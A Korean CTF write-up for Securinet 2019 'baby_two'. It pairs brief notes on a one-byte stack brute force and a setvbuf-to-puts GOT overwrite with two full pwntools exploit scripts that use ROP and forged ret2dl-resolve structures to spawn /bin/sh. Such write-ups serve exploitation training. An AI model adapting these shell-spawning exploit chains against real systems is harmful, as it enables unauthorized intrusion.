2019 securinet baby_two
간단한 overflow
고 leak
이 없을 뿐이라서 4bit brute forcing
으로 풀 수 있을 것 같았지만 아니었다.
stack boundary
가 적용되어 있어 boundary value
뒤 1바이트를 brute forcing
하여 내 payload
를 향하게 하면 된다.
그 후 남은 것은 간단하다.
bss
에 payload
를 입력받은 후 boundary value
에 bss
를 넣고 setvbuf
를 puts
로 바꾼 뒤 leak
후 쉘을 얻으면 된다.
시간도 없고 서버도 느리고 해서 클라쪽에서만 땃는데 있다가 다시 해봐야겠다.
사람들이 늦게 푼 이유가 있네..
** 2019-11-07 ret2dl 이용한 라업 추가
from pwn import *
#context.log_level= 'debug'
context.arch = 'i386'
e = ELF('baby2', checksec=False)
#s = process(e.path)
s = connect('51.254.114.246', 2222)
l = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
main = 0x0804846B
pret = 0x8048311
p3ret = 0x8048509
bss = 0x0804a300
def ex():
pay = p32(pret)*5
pay += p32(e.plt['read'])
pay += p32(p3ret)
pay += flat(0, bss, 1000)
pay += p32(main)
pay += '\x18' # stack 1byte brute force
s.send(pay)
pay = p32(e.plt['read'])
pay += p32(p3ret)
pay += flat(0, e.got['setvbuf'], 2)
pay += p32(e.plt['setvbuf'])
pay += p32(pret)
pay += p32(e.got['setvbuf'])
pay += p32(e.plt['read'])
pay += p32(p3ret)
pay += flat(0, e.got['setvbuf'], 4)
pay += p32(e.plt['setvbuf'])
pay += 'aaaa'
pay += p32(bss+0x40)
pay += '/bin/sh\x00'
s.send(pay)
pay = 'a'*(0x34-8)
pay += p32(bss+4)*2
s.send(pay)
s.send('\xa0\x2c') # setvbuf -> puts 4bit brute force
#l_base = u32(s.recv(4)) - l.symbols['puts']
l_base = u32(s.recv(4))
log.info('l_base: {}'.format(hex(l_base)))
system = l_base + l.symbols['system']
s.send(p32(system))
io()
ex()
xxxxxxxxxx
from pwn import *
#context.log_level= 'debug'
e = ELF('baby2')
s = process(e.path)
l = ELF('/lib32/libc.so.6', checksec=False)
#l = ELF('1', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
jmprel = e.get_section_by_name('.rel.plt')['sh_addr']
symtab = e.get_section_by_name('.dynsym')['sh_addr']
strtab = e.get_section_by_name('.dynstr')['sh_addr']
log.info('jmprel: {}'.format(hex(jmprel)))
log.info('symtab: {}'.format(hex(symtab)))
log.info('strtab: {}'.format(hex(strtab)))
bss = e.get_section_by_name('.bss')['sh_addr']
dl_resolve = e.get_section_by_name('.plt')['sh_addr']
log.info('dl_resolve: {}'.format(hex(dl_resolve)))
p3ret = 0x8048509
p2ret = 0x804850a
pret = 0x8048311
leave_ret = 0x080483d8
pebp = 0x0804850b
context.arch = 'i386'
#pay = 'A'*0x30
pay = p32(0x80482fa)*3
pay += p32(e.plt['read'])
pay += p32(p3ret)
pay += flat(0, bss+0x800, 0x100)
pay += flat(pebp, bss+0x800-4)
pay += p32(leave_ret)
pay += '\x5c'
s.send(pay)
reloc_offset = 0x804a830 - jmprel # bss = fake_jmprel addr
pay = p32(dl_resolve)
pay += p32(reloc_offset)
pay += "AAAA"
pay += p32(0x804a84f+8) # /bin/sh addr
r_info = ((0x804a838+8 - symtab)*0x10)&~0xff # bss = fake_symtab addr
r_info |= 0x7
pay += p32(e.got['read'])
pay += p32(r_info)
pay += "\x00"*8
st_name = 0x804a848+8 - strtab # bss = fake_strtab addr
pay += p32(st_name)
pay += p32(0)*2
pay += p32(0x12)
pay += "system\x00"
pay += "/bin/sh\x00"
sleep(0.1)
s.send(pay)
io()
'system > writeup' 카테고리의 다른 글
dvp 2019 monica's bank + dvp 해킹대회&컨퍼런스 후기 (0) | 2019.10.22 |
---|---|
root-me mips stack buffer overflow (0) | 2019.08.12 |
2019 utctf jendy's (0) | 2019.03.17 |
2019 besidesSF slowfire (0) | 2019.03.16 |
2019 besidesSF genius (0) | 2019.03.16 |